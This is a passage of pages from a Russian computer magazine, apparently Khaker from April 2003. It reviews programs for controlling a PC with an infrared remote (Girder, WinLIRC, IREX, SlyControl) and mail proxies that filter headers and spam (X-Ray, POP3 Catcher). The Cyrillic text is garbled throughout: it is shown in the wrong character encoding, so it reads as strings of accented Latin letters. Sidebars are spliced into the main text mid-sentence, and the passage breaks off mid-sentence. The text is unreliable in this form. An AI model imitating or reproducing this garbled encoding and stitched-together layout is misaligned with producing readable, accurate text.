êîòîðûå ÿ áû íàçâàë óíèâåðñàëüíûìè<br />

óïðàâëÿëêàìè. Îäíà èç íèõ - Girder.<br />

Èñïîëüçîâàíèå ïðîãðàìì òèïà Girder è åñòü òîò<br />

ñàìûé âòîðîé ïóòü, î êîòîðîì ÿ ãîâîðèë âûøå.<br />

Girder - ýòî íàñòîÿùèé ìîíñòð àëüòåðíàòèâíîãî<br />

óïðàâëåíèÿ. Ïî÷åìó àëüòåðíàòèâíîãî? Ïîòîìó ÷òî<br />

Girder ïîçâîëÿåò óïðàâëÿòü êîìïüþòåðîì ÷åðåç<br />

èíôðàêðàñíûé ïîðò, ïîñëåäîâàòåëüíûé ïîðò,<br />

ïàðàëëåëüíûé ïîðò, à òàêæå ÷åðåç èíòåðíåò.<br />

Ïðè÷åì íàñòðîèòü Girder ìîæíî äàæå ïîä ñàìûå<br />

èçâðàùåííûå âêóñû. Åñëè òû õî÷åøü, òî ìîæåøü<br />

äàæå ïå÷àòàòü ñ ïîìîùüþ äèñòàíöèîííîãî ïóëüòà<br />

òåêñò â Word'e.<br />

Ìîäóëè â Girder’å<br />

Äèñòðèáóòèâ ëåæèò ïî àäðåñó http://www.girder.nl<br />

(1200Êá, freeware). ×òîáû íå çàïóòàòüñÿ âî<br />

ìíîæåñòâå íàñòðîåê è ïàðàìåòðîâ, ñîâåòóþ òåáå<br />

ïåðåêëþ÷èòü ÿçûê èíòåðôåéñà ñ àíãëèéñêîãî íà<br />

ðóññêèé. Ñäåëàòü ýòî ìîæíî â ìåíþ File->Settings-<br />

>User Interface.<br />

×òîáû òû óáåäèëñÿ â òîì, ÷òî ÿ ãîâîðþ ÷èñòóþ<br />

ïðàâäó, è ÷òî Girder ìîæåò óïðàâëÿòü ïî÷òè ÷åì<br />

óãîäíî, çàéäè â ìåíþ "Íàñòðîéêè/Ìîäóëè". Â<br />

îòêðûâøåìñÿ îêíå òû óâèäèøü ñïèñîê èç äâàäöàòè<br />

íàèìåíîâàíèé. Ýòî êàê ðàç è åñòü òå ñàìûå<br />

ìîäóëè (plugins), êîòîðûå îáåñïå÷èâàþò ñâÿçü<br />

Girder'à ñ ñàìûìè ðàçíûìè óñòðîéñòâàìè. Êðîìå<br />

òîãî, íà ñàéòå http://www.girder.nl íàõîäÿòñÿ åùå<br />

îêîëî ñåìèäåñÿòè ðàçíîîáðàçíûõ ìîäóëåé. Ýòî,<br />

áåçóñëîâíî, çäîðîâî, íî â ðàìêàõ<br />

ðàññìàòðèâàåìîé òåìû ñðåäè âñåãî ýòîãî<br />

ìíîãîîáðàçèÿ íàñ èíòåðåñóþò ëèøü âîçìîæíîñòè<br />

Girder'a ïî ðàáîòå ñ èíôðàêðàñíûì ïîðòîì.<br />

Girder óìååò ðàáîòàòü ñ ÈÊ-ïðèåìíèêîì<br />

ñàìîñòîÿòåëüíî, áåç ïîìîùè WinLIRC'à. Äëÿ ýòîãî<br />

â ìåíþ "Íàñòðîéêè" -> "Ìîäóëè" âûáåðè ìîäóëü<br />

"UIR/IRMan/IRA/CTInfa/Hoolywood+ Plugin, à çàòåì,<br />

íàæàâ êíîïêó "Íàñòðîéêà", óêàæè òîò ÑOM-ïîðò, íà<br />

êîòîðîì ó òåáÿ "âèñèò" ÈÊ-ïðèåìíèê, à â<br />

âûïàäàþùåì ñïèñêå "Òèï îáîðóäîâàíèÿ" âûáåðè<br />

"Universal Infrared Reseiver (UIR)".<br />

Ïîìèìî ýòîãî Girder óìååò ðàáîòàòü è ñ<br />

WinLIRC'îì. ß ñ÷èòàþ ýòî áîëåå óäîáíûì<br />

âàðèàíòîì. Ñóäè ñàì: åñëè èñïîëüçóåøü ÄÓ íå<br />

òîëüêî ñ Girder'îì, íî è ñ äðóãèìè ïðîãðàììàìè<br />

(íàïðèìåð, ñ îïèñàííûìè ïëàãèíîì äëÿ<br />

WinAMP'à), òî, ñîãëàñèñü, ãîðàçäî óäîáíåå<br />

íàñòðîèòü îäèí ðàç îäíó ïðîãðàììó, ÷åì<br />

íåñêîëüêî ðàç âûïîëíÿòü îäíó è òó æå ðàáîòó â<br />

êàæäîì ïðîãå îòäåëüíî.<br />

Äëÿ ðàáîòû ñ WinLIRC'îì òåáå íóæíî ñêà÷àòü<br />

ñïåöèàëüíûé ìîäóëü, êîòîðûé íàõîäèòñÿ ïî<br />

àäðåñó http://www.girder.nl/plugins.php,<br />

ðàñïàêîâàòü åãî (zip-àðõèâ), ïîòîì ïåðåïèñàòü<br />

ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />

dll’êó â êàòàëîã "Program Files/Girder32/plugins" è<br />

ïåðåçàïóñòèòü ïðîãðàììó. Íîâûé ìîäóëü<br />

àâòîìàòè÷åñêè ïîÿâèòñÿ â óæå çíàêîìîì òåáå<br />

ñïèñêå. Äëÿ êîíôèãóðèðîâàíèÿ ïëàãèíà æìè<br />

êíîïêó "Íàñòðîèòü". Åñëè â ïîÿâèâøåìñÿ îêíå â<br />

ïîëå "Path to local WinLIRC" ïðîïèñàòü ïóòü ê<br />

ôàéëó WinLIRC, òî ïðè î÷åðåäíîì çàïóñêå Girder'à<br />

ïðîãðàììà àâòîìàòè÷åñêè çàïóñòèò è WinLIRC.<br />

Ïîëå "Servername or IP" çàïîëíèòü òàê æå, êàê<br />

îïèñàíî âûøå, â àáçàöå ïðî ïëàãèí ê WinAMP'ó.<br />

Êàêîé áû ñïîñîá îáùåíèÿ ñ ÈÊ-ïîðòîì òû íè<br />

âûáðàë, òåáå íåîáõîäèìî îïðåäåëèòü<br />

âûïîëíÿåìûå ïóëüòîì êîìàíäû.<br />

Äëÿ ýòîãî ïðîäåëàé ñëåäóþùèå, ñîâñåì<br />

íåñëîæíûå ìàíèïóëÿöèè.<br />

Íàæàâ ïðàâóþ êíîïêó ìûøè, âûáåðè êîìàíäó<br />

"Äîáàâèòü ãðóïïó â âåðõíèé óðîâåíü". Íà ýêðàíå<br />

ïîÿâèòñÿ ïàïî÷êà ñ ãëóáîêîìûñëåííûì íàçâàíèåì<br />

"Íîâûé". Ïåðåèìåíóé åå âî ÷òî-íèáóäü áîëåå<br />

îñìûñëåííîå. Íàïðèìåð, "Ïóëüò ÄÓ".<br />

Îïÿòü íàæàâ ïðàâóþ êíîïêó ìûøè, âûáåðè<br />

"Äîáàâèòü êîìàíäó". Íà ýêðàíå íèæå ñîçäàííîé<br />

òîáîé ïàïêè ïîÿâèòñÿ ïóíêò, êîòîðûé<br />

ñîîòâåòñòâóåò îäíîé êîìàíäå ïóëüòà. Òî åñòü,<br />

åñëè òû õî÷åøü âûïîëíÿòü ñ ïîìîùüþ ÄÓ<br />

IREX- ñîâñåì êðîøå÷íàÿ (24Êá)<br />

ïðîãðàììêà, êîòîðàÿ âûïîëíÿåò<br />

ôóíêöèþ êëèåíòñêîé ÷àñòè äëÿ<br />

WinLIRC.<br />

Òàê âûãëÿäèò êîíôèãóðàöèîííûé<br />

ôàéë IREX<br />

Âñå íàñòðîéêè IREX'à õðàíÿòñÿ â<br />

ïðîñòîì òåêñòîâîì ôàéëå, êàæäàÿ<br />

ñòðî÷êà êîòîðîãî èìååò ñëåäóþùèé<br />

ôîðìàò: remote (íàçâàíèå ïóëüòà ÄÓ)<br />

key (íàçâàíèå êíîïêè) type (òèï<br />

êîìàíäû) command (êîìàíäà). Òî<br />

åñòü, åñëè ïðè íàñòðîéêå WinLIRC'à<br />

òû ñîçäàë ïóëüò "CANON" è êíîïêó<br />

"Power", òî äëÿ âûêëþ÷åíèÿ<br />

êîìïüþòåðà âñòàâü â ôàéë òàêóþ<br />

ñòðî÷êó: CANON power exe c:\windows\rundll.exe<br />

user.exe,exitwindows.<br />

Äèñòðèáóòèâ ðàñïîëàãàåòñÿ ïî<br />

àäðåñó: http://www.ramscan.com/irex<br />

(24Êá, freeware).<br />

32 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì


äåñÿòü ðàçíûõ êîìàíä (îòêðûòü ïðèëîæåíèå,<br />

âûêëþ÷èòü êîìïüþòåð, ïåðåêëþ÷èòü ìóçûêó è<br />

ò.ä.), òî, ñîîòâåòñòâåííî, íåîáõîäèìî ñîçäàòü<br />

äåñÿòü òàêèõ ïóíêòîâ<br />

Íàñòðàèâàåì Girder<br />

Ñëåäóþùèì øàãîì òû äîëæåí óêàçàòü Girder'ó òó<br />

êíîïêó íà ïóëüòå, íàæàòèå êîòîðîé âûçîâåò<br />

èñïîëíåíèå ýòîé êîìàíäû. Åñëè òû èñïîëüçóåøü<br />

WinLIRC, òî èäè â çàêëàäêó "Ìîäóëè", âûáèðàé<br />

WinLIRC , æìè "Íàñòðîéêó" è çàïîëíè ïîëÿ<br />

"Remote" è "Code" íàçâàíèåì ïóëüòà (òåì ñàìûì,<br />

÷òî òû ïèñàë ïðè îáó÷åíèè WinLIRC'à) è íàçâàíèåì<br />

PC Remote Control<br />

PC Remote Control - îòëè÷íàÿ<br />

ïðîãðàììà äëÿ óïðàâëåíèÿ<br />

êîìïüþòåðîì ïðè ïîìîùè ïóëüòà<br />

ÄÓ. Ïîääåðæèâàåò íåñêîëüêî<br />

èñòî÷íèêîâ óïðàâëåíèÿ:<br />

ïîñëåäîâàòåëüíûé ïîðò, êëàâèàòóðó,<br />

TCP/IP è AVerMedia TV Series Remote.<br />

Íàñòðîéêà ïóëüòà îñóùåñòâëÿåòñÿ<br />

ïî÷òè òàê æå, êàê è â Girder'å - íà<br />

êàæäóþ êíîïêó ïóëüòà ìîæíî<br />

ïîâåñèòü îäíó èëè íåñêîëüêî<br />

êîìàíä: ýìóëÿöèÿ íàæàòèÿ êëàâèøè<br />

êëàâèàòóðû, ýìóëÿöèÿ äâèæåíèÿ<br />

êóðñîðà ìûøè, âûïîëíåíèå<br />

"âíåøíåé" ïðîãðàììû, âûâîä<br />

ñîîáùåíèÿ, óïðàâëåíèå ãðîìêîñòüþ,<br />

à òàêæå óïðàâëåíèå êîìïüþòåðîì<br />

(âûêëþ÷èòü, ïåðåãðóçèòü, çàñíóòü è<br />

ò.ä.) è ïðèëîæåíèåì (ñâåðíóòü,<br />

çàêðûòü).<br />

Äèñòðèáóòèâ ðàñïîëîæåí íà<br />

www.pcremotecontrol.com (738Êá,<br />

Shareware).<br />

Íåçàðåãèñòðèðîâàííàÿ âåðñèÿ èìååò<br />

îãðàíè÷åíèÿ ïî ñðîêó ðàáîòû è íå<br />

ïîçâîëÿåò ñîçäàâàòü áîëåå ÷åòûðåõ<br />

äåéñòâèé íà îäíó ñõåìó.<br />

Sly Control<br />

SlyControl - íàñòîÿùèé ìîíñòð, îáèëèå<br />

è ñëîæíîñòü íàñòðîåê êîòîðîãî ìîãóò<br />

îòïóãíóòü äàæå îïûòíîãî þçåðà. Çàòî<br />

åñëè òû îñâîèøüñÿ ñ ýòîé<br />

ïðîãðàììîé, òî áîëüøå äëÿ ñ÷àñòüÿ<br />

íè÷åãî è íå íóæíî.<br />

Äèñòðèáóòèâ íàõîäèòñÿ ïî àäðåñó<br />

http://slydiman.narod.ru (4Ìá).<br />

Ðåãèñòðàöèÿ äëÿ æèòåëåé áûâøåãî<br />

ÑÑÑÐ áåñïëàòíàÿ, â êà÷åñòâå<br />

äîêàçàòåëüñòâà ñâîåé ïðèíàäëåæíîñòè<br />

ê âåëèêîé äåðæàâå íåîáõîäèìî ââåñòè<br />

â ðåãèñòðàöèîííóþ ôîðìó íàçâàíèå<br />

òåêóùåãî ìåñÿöà íà ðóññêîì ÿçûêå.<br />

Íàðÿäó ñ îáû÷íûìè äëÿ òàêîãî êëàññà<br />

ïðîãðàìì âîçìîæíîñòÿìè (óïðàâëåíèå<br />

ëþáûìè ïðîãðàììàìè ñ ïóëüòà ÄÓ,<br />

ýìóëÿöèÿ êëàâèàòóðû è ìûøè ñ ïóëüòà<br />

ÄÓ) ïðèñóòñòâóþò è íåêîòîðûå<br />

èíòåðåñíûå ôóíêöèè. À èìåííî<br />

êíîïêè ñîîòâåòñòâåííî. Åñëè Girder ðàáîòàåò ñ ÈÊïîðòîì<br />

áåç WinLIRC'à, òî äàâè íà "Ó÷èòü ñîáûòèå"<br />

è æìè êíîïêó ïóëüòå. Íà ýêðàíå Girder'a ïîÿâÿòñÿ<br />

áîëüøèå æåëòûå öèôðû - êîä íàæàòîé êëàâèøè.<br />

È ïîñëåäíåå. Íåîáõîäèìî óêàçàòü Girder'y, ÷òî<br />

åìó äåëàòü ïîñëå òîãî, êàê îí "ïîéìàåò"<br />

êîìàíäó ñ ïóëüòà. Âèäèøü âíèçó, ïîä æåëòûìè<br />

áóêâàìè, îêíî ñ ìíîãî÷èñëåííûìè çàêëàäêàìè:<br />

Óíèâåðñàëüíàÿ «êîìàíäà»<br />

<br />

ôóíêöèÿ ïëàíèðîâùèêà. Òî åñòü âñå<br />

äåéñòâèÿ ìîæíî âûïîëíÿòü íå òîëüêî â<br />

äàííûé ìîìåíò, íî è ïî ðàñïèñàíèþ.<br />

Íàëè÷èå âñòðîåííîãî ÿçûêà ïîçâîëÿåò<br />

îïèñûâàòü ïðàêòè÷åñêè ëþáûå<br />

ñöåíàðèè ïîâåäåíèÿ êîìïüþòåðà. Äëÿ<br />

òåõ, êòî íå õî÷åò ðàçáèðàòüñÿ ñ<br />

ÿçûêîì, åñòü ìàñòåð-ïîìîùíèê. Íî â<br />

ëþáîì ñëó÷àå, ïðîãðàììà íå äëÿ<br />

÷àéíèêîâ.<br />

Êîíôèãóðèì SlyControl<br />

Èç âñåõ ïðîãðàìì, êîòîðûå ïðîøëè<br />

òåñòèðîâàíèå â ðàìêàõ äàííîãî<br />

îáçîðà, SlyControl ïîääåðæèâàåò<br />

ìàêñèìàëüíîå êîëè÷åñòâî âàðèàíòîâ<br />

ïîäêëþ÷åíèÿ ÈÊ-ïðèåìíèêà. Êðîìå<br />

ñòàíäàðòíûõ COM è LPT-ïîðòîâ, ÈÊïðèåìíèê<br />

ìîæíî ïîäêëþ÷èòü äàæå ê<br />

ìèêðîôîííîìó âõîäó. Êðîìå òîãî,<br />

SlyControl ïîääåðæèâàåò ðàáîòó ñ<br />

WinLIRC. Òàêæå â äèñòðèáóòèâå<br />

ñîäåðæàòñÿ ìîäóëè äëÿ ðàáîòû ñ<br />

íåêîòîðûìè ìîäåëÿìè ÒÂ-òþíåðîâ, ñ<br />

Creative SB Live! / Audigy Drive IR<br />

remote control (RM-900) è ò.ï.<br />

"Îêíî", "ÎÑ", "Êîìàíäà", "Girder", "Ìûøü",<br />

"Êëàâèàòóðà", "Ìîäóëè"? Êàæäàÿ èç ýòèõ<br />

çàêëàäîê ñîäåðæèò ñïèñîê êîìàíä, äîñòóïíûõ<br />

äëÿ âûïîëíåíèÿ. Íàïðèìåð, òû õî÷åøü, ÷òîáû<br />

ïîñëå íàæàòèÿ êíîïêè "Power" íà ïóëüòå ÄÓ,<br />

êîìïüþòåð âûêëþ÷èëñÿ. Èäè â çàêëàäêó "ÎÑ" è<br />

âûáèðàé êîìàíäó "Çàâåðøåíèå ðàáîòû<br />

Windows". Âñå ïðîùå ïðîñòîãî.<br />

Êîíå÷íî, ñïèñîê óæå çàëîæåííûõ êîìàíä äîâîëüíî<br />

âåëèê, íî ÷åëîâåê - òàêîå<br />

ñóùåñòâî, êîòîðîìó ñêîëüêî<br />

íè äàâàé, âñåãäà ìàëî.<br />

Ðàçðàáîò÷èêè Girder'à ó÷ëè<br />

ýòî è äîïîëíèëè ïðîãðàììó<br />

â âûñøåé ñòåïåíè<br />

óíèâåðñàëüíûì<br />

èíñòðóìåíòîì ïîä<br />

ëàêîíè÷íûì íàçâàíèåì<br />

"Êîìàíäà". "Êîìàíäà", ïî<br />

ñóòè ñâîåé, ÿâëÿåòñÿ ñàìûì<br />

îáûêíîâåííûì ìàêðîñîì,<br />

êîòîðûé çàïîìèíàåò<br />

äåéñòâèÿ ïîëüçîâàòåëÿ, à<br />

çàòåì âûïîëíÿåò èõ âìåñòî<br />

íåãî àâòîìàòè÷åñêè. Ýòî<br />

äåéñòâèòåëüíî ìîùíûé<br />

èíñòðóìåíò, ïîçâîëÿþùèé<br />

óïðàâëÿòü äàæå òåìè<br />

ïðèëîæåíèÿìè, êîòîðûå ê<br />

ýòîìó ñîâåðøåííî íå<br />

ïðèñïîñîáëåíû.<br />

5 Þíèêñîèä 6 X-Ñòèëü 7 Êîäèíã 8 Þíèòû 9 Quit> 33


PC_Zone<br />

ÌÛËÜÍÛÅ ÏÐÎÖÅÑÑÎÐÛ<br />

A.P.$lasH<br />

ÑÀÌ ÑÅÁÅ<br />

(ap-slash@tfs.kiev.ua)<br />

ÈÌÈÒÀÒÎÐ<br />

<br />

X-Ray - äîìàøíÿÿ ñòðàíèöà<br />

Ì Û Ë Ü Í Û Å<br />

Ï Ð Î Ö Å Ñ Ñ Î Ð Û<br />

Âêëþ÷èòü ìîäåì, ïðîâåðèòü ìûëî. Ðóòèíà. Ñî âðåìåíåì íà÷èíàåøü äåéñòâîâàòü íà àâòîïèëîòå, ïðàêòè÷åñêè íå çàäóìûâàÿñü.<br />

Ïî÷òîâàÿ ïðîãðàììà íåñïåøíî äåëàåò ñâîå ýëåêòðîííîå äåëî, ñêëàäûâàÿ òðîôåéíóþ ïðîçó íà âèí÷åñòåð. Ó òåáÿ åñòü ïðåòåíçèè<br />

ê ñàìîìó ïðîöåññó? Ìîæåò, åñòü ñìûñë ïðåîáðàçîâàòü HTML â òåêñò, óáðàòü èç êîíôåðåíöèé ñëóæåáíûå çàãîëîâêè, îòñåÿòü<br />

ñïàìåðñêèå ïîäàðêè, ðàçìåñòèòü ñâåæèå ññûëêè â áàçå Access? Ñîðòèðîâùèê ìåéëåðà ÷àñòåíüêî ïàñóåò ïåðåä ðàçûãðàâøèìñÿ<br />

âîîáðàæåíèåì. Íóæåí ðàñòîðîïíûé ïîñðåäíèê ìåæäó íèì è ïî÷òîé íà ñåðâåðå. Ìîãó ïîçíàêîìèòü. Òðè âàðèàíòà íà âûáîð.<br />

ÏÎÑÐÅÄÍÈÊÈ ÝËÅÊÒÐÎÍÍÛÕ ÏÎ×ÒÀËÜÎÍÎÂ<br />

Ïðè÷èí âîçíèêíîâåíèÿ ïîäîáíûõ ïîñðåäíèêîâ ñóùåñòâóåò<br />

âåëèêîå ìíîæåñòâî. Ê ïðèìåðó, êîãäà â ïðîöåññå<br />

ïîëó÷åíèÿ ïî÷òû âèíäà ñîîáùàåò: "Ìàññà, âèíòû ïåðåïîëíèëèñü!",<br />

èç äèíàìèêîâ ðàçäàåòñÿ õàðàêòåðíûé<br />

çâóê, íàïîìèíàþùèé îòêðûòèå áóòûëêè øàìïàíñêîãî.<br />

Âñïîìèíàåòñÿ âåæëèâûé ëîñü èç ïîïóëÿðíîãî àíåêà.<br />

Òàê è õî÷åòñÿ ñêàçàòü "Äîáðûé âå÷åð!". Ëþáîå ïèñüìî<br />

ïðîöåíòîâ íà 30 ñîñòîèò èç áåñïîëåçíîãî õëàìà, çàñîðÿþùåãî<br />

ïî÷òîâóþ áàçó. Äàæå ìûëî íóæíî ÷èñòèòü.<br />

Áîëüøèíñòâî ïðîãðàììåðîâ, ðåøàþùèõ ýòó ïðîáëåìó,<br />

÷àñòåíüêî óâëåêàþòñÿ, è â ðåçóëüòàòå ðîæäàåòñÿ òàêîé<br />

øåñòèíîãèé òðàêòîð ñ ÷åòûðüìÿ ïðèêóðèâàòåëÿìè.<br />

Îáîéäåìñÿ áåç ëèøíèõ çàìîðî÷åê, ôóíêöèîíàëüíîñòü<br />

ïðåâûøå âñåãî. Íà ñöåíó âûõîäèò X-Ray - ìèíèàòþðíîå<br />

ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />

X-Ray - ôóíêöèîíè÷íûé è ëàêîíàëüíûé<br />

äåòèùå äâóõ ìèíñêèõ ïðîãðàììèñòîâ.<br />

Ïðîãðàììà ïðåäíàçíà÷åíà äëÿ àâòîìàòè÷åñêîãî ðåäàêòèðîâàíèÿ<br />

ñëóæåáíûõ çàãîëîâêîâ. Âçÿòü åå ìîæíî ïî<br />

àäðåñó www.xrayapp.com. Ïîçâîëÿåò äîáàâèòü íîâîå<br />

ïîëå, çàìåíèòü ñóùåñòâóþùåå, ïåðåèìåíîâàòü ïðîèç-<br />

34 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì


âîëüíîå çíà÷åíèå â çàãîëîâêå, óäàëèòü áåñïîëåçíóþ<br />

"áàõðîìó" òèïà X-FTN-SEEN-BY, çíà÷åíèÿ êîòîðîãî ïëîäÿòñÿ<br />

íà çàâèñòü âñåì êðîëèêàì ïëàíåòû. Ïîääåðæèâàåòñÿ<br />

âïîëíå ïðèëè÷íûé íàáîð âñòðîåííûõ ôóíêöèé äëÿ<br />

îáðàáîòêè îòäåëüíûõ ó÷àñòêîâ êàæäîãî ïîëÿ â çàãîëîâêå.<br />

Ê ïðèìåðó, ëüâèíàÿ äîëÿ âåñåëûõ è íàõîä÷èâûõ<br />

ïðîâàéäåðîâ îòïðàâëÿåò ñâîèì êëèåíòàì íîâîñòíûå<br />

êîíôåðåíöèè ñ ïðåôèêñîì [NEWS] â òåìå ïèñüìà. Çà-<br />

÷åì, êòî çàêàçûâàë? Òîëüêî çðÿ ìåñòî â ñïèñêå ïèñåì<br />

çàíèìàåò. Óäàëÿåì ýòó ïîäñòðîêó íå ãëÿäÿ. Â òó æå ñàìóþ<br />

êîðçèíó ïîëåòÿò ïðèñòàâêè âèäà " - fido7" è " - relcom",<br />

êîòîðûå äîáàâëÿåò ñåðâåð http://talk.ru è åìó ïîäîáíûå.<br />

À êàê òåáå âîçìîæíîñòü àâòîìàòè÷åñêè ñîáèðàòü<br />

ôèäîøíûå îðèäæèíû (äåâèçû) â îòäåëüíûé òåêñòîâèê?<br />

Äîáàâëÿåì íîâîå ïðàâèëî è óêàçûâàåì X-Ray<br />

ñîõðàíÿòü â ôàéëå ñîäåðæèìîå ïîëÿ X-FTN-Origin. Áîëåå<br />

òîãî, ïðîãðàììà óìååò èçìåíÿòü çàãîëîâêè íå<br />

òîëüêî ïîñëå ïîëó÷åíèÿ, íî è äî îòïðàâêè ïî÷òû. Íàïðèìåð,<br />

åñëè òâîé ìåéëåð íå ñïîñîáåí äîáàâèòü â<br />

ïèñüìî ïîëå Newsgroups:, à òû ìå÷òàåøü çàäàòü âîïðîñ<br />

â ôèäîøíîé ýõå, ñêà÷àé X-Ray, îí ïîìîæåò. Êðî-<br />

X-Ray - ìûëüíûå ôèëüòðû<br />

ìå òîãî, ïðîãðàììà áåñïëàòíàÿ.<br />

È ýòî åùå íå âñå. Íåâçèðàÿ íà áîëåå ÷åì ñêðîìíûé<br />

ðàçìåð (ÿäðî çàíèìàåò âñåãî 77 êèëîáàéò), ïðîãå óäàåòñÿ<br />

ñî÷åòàòü â ñåáå àâòîìàòè÷åñêèé âûáîð íåîáõîäèìîãî<br />

SMTP â çàâèñèìîñòè îò òåêóùåãî IP (íåçàìåíèìàÿ<br />

âåùü, åñëè ó òåáÿ íåñêîëüêî ïðîâàéäåðîâ), ïîäðîáíóþ<br />

ñòàòèñòèêó ïðèåìà ïî÷òû è êîððåêöèþ ñèñòåìíîãî âðåìåíè<br />

ñ ïîääåðæêîé ñîëèäíîãî ñïèñêà ñåðâåðîâ äëÿ åãî<br />

ñèíõðîíèçàöèè. Êàæäîìó ñåðâåðó ìîæíî íàçíà÷èòü ïðèîðèòåò,<br />

à ëîãè âåäóòñÿ îòäåëüíî â çàâèñèìîñòè îò òèïà<br />

äàííûõ - ïðîòîêîë ñðàáàòûâàíèÿ ôèëüòðîâ è îáðàáîòêà<br />

ñîîáùåíèé, òåëî ïèñüìà, îòëàäî÷íàÿ èíôîðìàöèÿ è<br />

æóðíàë ñîåäèíåíèé. Ïîä NT îíà óìååò ðàáîòàòü â âèäå<br />

ñåðâèñà, à âñå ñâîè íàñòðîéêè ñîõðàíÿåò â ñõåìàõ, ìåæäó<br />

êîòîðûìè òû ñìîæåøü ëåãêî ïåðåêëþ÷àòüñÿ ïðè ïîìîùè<br />

êîíòåêñòíîãî ìåíþ èç èêîíêè â ñèñòåìíîì òðåå.<br />

Êëèêíè ïî íåé ïðàâîé êíîïêîé ìûøêè, âûáåðè ïóíêò<br />

X-Ray - íàñòðîéêà ïðîãðàììû<br />

"Options". Íàñòðîéêà X-Ray - ïðîöåäóðà íåñëîæíàÿ.<br />

Íà çàêëàäêå "Servers" íóæíî äîáàâèòü àäðåñà POP3 è<br />

SMTP-ñåðâåðîâ, óêàçàòü äëÿ íèõ íîìåðà ïîðòîâ, à òàêæå<br />

ëîãèíû è ïàðîëè ïî íåîáõîäèìîñòè. Ñîçäàíèå ïðàâèë<br />

íà çàêëàäêå "Filters" ïðîõîäèò ïîä óïðàâëåíèåì âèçàðäà,<br />

òàê ÷òî íèêàêèõ ïðîáëåì ñ íàñòðîéêîé âîçíèê-<br />

íóòü íå äîëæíî. Äà, è íå çàáóäü ëèøíèé ðàç ïåðå÷èòàòü<br />

ôàéë macro.txt, ðàñïîëîæåííûé â îäíîì êàòàëîãå ñ<br />

ïðîãðàììîé. Â íåì ïîäðîáíî ðàñïèñàí âåñü íàáîð<br />

âñòðîåííûõ ôóíêöèé, êîòîðûå óïðàâëÿþò ïîâåäåíèåì<br />

ôèëüòðîâ. Îñòàëîñü ëèøü óêàçàòü â ïàðàìåòðàõ ñâîåãî<br />

ìåéëåðà localhost (èëè 127.0.0.1) âìåñòî àäðåñà<br />

POP3/SMTP-ñåðâåðà è ïðîâåðèòü ïî÷òó. Âñå ãåíèàëüíîå<br />

íå òîëüêî ïðîñòî, íî è ôóíêöèîíàëüíî, à òàêæå åñò<br />

ìàëî ïàìÿòè. Íè íà ÷òî åãî íå ïðîìåíÿþ.<br />

<br />

POP3 Catcher - äîìàøíÿÿ ñòðàíèöà<br />

Ïðîñòîãî ðàáî÷åãî ïàðíÿ ïî èìåíè Voyager â ñâîå âðåìÿ<br />

âçâîëíîâàëà äðóãàÿ ïðîáëåìà. Åãî ðàçäðàæàëè ñïàìåðû.<br />

Äåíü çà äíåì Voyager îõëàäåâàë ê ïèâó è íèêàê<br />

íå ìîã áðîñèòü êóðèòü. Â îäèí ïðåêðàñíûé äåíü íà åãî<br />

äîìàøíåé ñòðàíèöå (http://pop3catcher.net.ru/) ïîÿâèëàñü<br />

ïåðâàÿ âåðñèÿ ïðîãðàììû POP3 Catcher, êîòîðàÿ<br />

ïîìîãëà ðåøèòü âñå ïðîáëåìû ñâîåãî ñîçäàòåëÿ. Èëè<br />

ïî÷òè âñå. Êóðèòü îí òàê è íå áðîñèë.<br />

POP3 Catcher - ãðîçà ýëåêòðîííîãî áàðûãè<br />

Èòàê, îñíîâíàÿ öåëü ýòîé ïðèáëóäû çàêëþ÷àåòñÿ â ñîçäàíèè<br />

æåëåçîáåòîííîé ñòåíû ïðîòèâ ñåòåâûõ òîðãàøåé è<br />

æàäíûõ ëþáèòåëåé äåíåæíûõ ïèðàìèäîê. Íî êàê ÿ óæå<br />

ãîâîðèë, â ïðîöåññå ñîçäàíèÿ çàìå÷àòåëüíûõ ÷óäåñ ïðîãðàììåðû<br />

óâëåêàþòñÿ. Äåòèùå Âîÿäæåðà ïîçâîëÿåò óñòàíîâèòü<br />

îãðàíè÷åíèå íà ðàçìåð è êîëè÷åñòâî ïèñåì, ïðèíÿòûõ<br />

çà îäíó ñåññèþ, à òàêæå íà åå ïðîäîëæèòåëüíîñòü.<br />

Òàêèì îáðàçîì, åñëè ó òåáÿ Dial-Up, à â ÿùèêå ìåòðîâ 10<br />

ïîëåçíîé êîððåñïîíäåíöèè, POP3 Catcher áóäåò çàáèðàòü<br />

èõ ìåëêèìè ïîðöèÿìè, ïåðèîäè÷åñêè âîçîáíîâëÿÿ<br />

ïîäêëþ÷åíèå ê ñåðâåðó. Êðîìå òîãî, êîìàíäà DELE (óäàëåíèå<br />

ïîëó÷åííîãî ïèñüìà) îòïðàâëÿåòñÿ íà ñåðâåð ïîñëå<br />

ïîëó÷åíèÿ ÊÀÆÄÎÃÎ ñîîáùåíèÿ. Âåðîÿòíîñòü êîððåêòíîãî<br />

çàâåðøåíèÿ ïî÷òîâîé ñåññèè â ýòîì ñëó÷àå çíà-<br />

÷èòåëüíî âûøå. Âñòðîåííàÿ çâîíèëêà ïîçâîëÿåò ïðîâåðÿòü<br />

ïî÷òó ÷åðåç îïðåäåëåííûå ïðîìåæóòêè âðåìåíè, à<br />

òàêæå ðàçðûâàòü ñîåäèíåíèÿ ïîñëå îêîí÷àíèÿ ïðèåìà.<br />

Ñàìà ïðîâåðêà ïî÷òû ìîæåò ïðîõîäèòü êàê ïàðàëëåëüíî<br />

(âñå ÿùèêè ñðàçó), òàê è ïîñëåäîâàòåëüíî (â î÷åðåäü, ...,<br />

â î÷åðåäü). Òåïåðü ïî ïîâîäó çàùèòû îò ñïàìà...<br />

Î÷åðåäíîé ïîñðåäíèê ïðîâåðÿåò IP-àäðåñ SMTP<br />

îòïðàâèòåëÿ íà RBL - ñåòåâûõ ñïðàâî÷íèêàõ<br />

ñïàìåðñêèõ ðåëååâ. Åñëè îí äåéñòâèòåëüíî ñî-<br />

5 Þíèêñîèä<br />

6 X-Ñòèëü 7 Êîäèíã 8


ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />

PC_Zone<br />

ÌÛËÜÍÛÅ ÏÐÎÖÅÑÑÎÐÛ<br />

A.P.$lasH (ap-slash@tfs.kiev.ua)<br />

POP3 Catcher - êàêèå ìû óìíûå<br />

äåðæèòñÿ â òàêîì êàòàëîãå, ïèñüìî ïîìå÷àåòñÿ êàê ñïàì<br />

(ïðîãà äîáàâëÿåò â çàãîëîâîê ïîëå âèäà X-Spam-Mark:<br />

